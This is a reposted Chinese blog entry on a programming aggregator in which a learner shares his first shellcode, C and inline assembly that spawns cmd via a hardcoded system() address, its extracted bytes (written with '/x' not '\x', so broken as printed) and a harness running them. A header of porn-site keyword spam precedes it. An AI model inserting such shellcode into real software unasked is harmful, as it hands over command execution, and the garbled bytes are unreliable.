日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

3个月的SHELLCODE研究成果-一个最简单的Shellcode

發布時間:2025/3/15 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 3个月的SHELLCODE研究成果-一个最简单的Shellcode 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

堅持到底,永不放棄。我終于寫了個小小的SHELLCODE啦。
就拿這個星期來說,我日思夜想,為什么我總寫不出可以正確執行的SHELLCODE呢,非常郁悶,也整天板著臉想問題,差點嚇著小MM同事了。
我本來ASSEMBLY基礎不是很好,只懂得可憐的幾個INSTRUCTIONS,寫SHELLCODE時碰到了很多不認識的Instructions。還要上網差資料,有時真的是一頭霧水。
我看了很多前輩寫的SHELLCODE,也測試過,結果也是有的可以成功通過測試,有的不能。
我對這類SHELLCODE的問題很感興趣,每天除了工作,就是研究怎么寫SHELLCODE了。不懂就查,就問,GOOGLE不行,就BAIDU,BAIDU不行就YAHOO。
我幾乎想從頭開始學ASSEMBLY,但好像SHELLCODE的常用指令就那幾個啦,像PUSH,MOV,SUB,ADD,INC,DEC,CALL,JMP,JE......
這些都比較好理解。于是我還是把精力集中在SHELLCODE的執行流程上。
先是反匯編一個簡單的函數,然后是用指令寫些簡單的函數,由于ASSEMBLY基礎差,碰到很多很尖的釘子,給我的打擊不小,有是我會痛苦的問:“天啊,這樣的事總發生在我身上?!钡聦嵣?#xff0c;是自己基礎差嘛。
付出是有回報的,只是時間問題。經過有多精彩可能要寫幾GB也寫不完啦。
還是把研究成果和大家分享一下,本人什么也不懂,經常出錯,望高手提出批評。感激不盡。歡迎交流 QQ:250947302

#include <stdio.h>
#include <windows.h>

void __declspec(naked)aaa(void)
{
?__asm{
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??push ebp
??mov ebp, esp
??sub esp, 08h
?}
?__asm
?{
??xor ecx, ecx
??mov byte ptr[ebp-08h], 'c'
??mov byte ptr[ebp-07h], 'm'
??mov byte ptr[ebp-06h], 'd'
??mov byte ptr[ebp-05h], cl
??lea eax, [ebp-08h]
??push eax
??mov edx, 77bf93c7h ;這是system函數的地址
??call edx
??pop eax
?}

?__asm
?{
??mov esp, ebp
??pop ebp
??ret
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
?}
}

unsigned char aaaaa[]="/x55/x8B/xEC/x83/xEC/x08/x33/xC9/xC6/x45/xF8"
"/x63/xC6/x45/xF9/x6D/xC6/x45/xFA/x64/x88/x4D"
"/xFB/x8D/x45/xF8/x50/xBA/xC7/x93/xBF/x77/xFF"
"/xD2/x58/x8B/xE5/x5D/xC3";

void main()
{
?char *saa;
?HMODULE h=LoadLibrary("msvcrt.dll");
?((void(*)(void))aaaaa)();
}

//
unsigned char aaaaa[]="/x55/x8B/xEC/x83/xEC/x08/x33/xC9/xC6/x45/xF8"
"/x63/xC6/x45/xF9/x6D/xC6/x45/xFA/x64/x88/x4D"
"/xFB/x8D/x45/xF8/x50/xBA/xC7/x93/xBF/x77/xFF"
"/xD2/x58/x8B/xE5/x5D/xC3";
這段是用OLLYDBG 1.1調試得到的。?

總結

以上是生活随笔為你收集整理的3个月的SHELLCODE研究成果-一个最简单的Shellcode的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。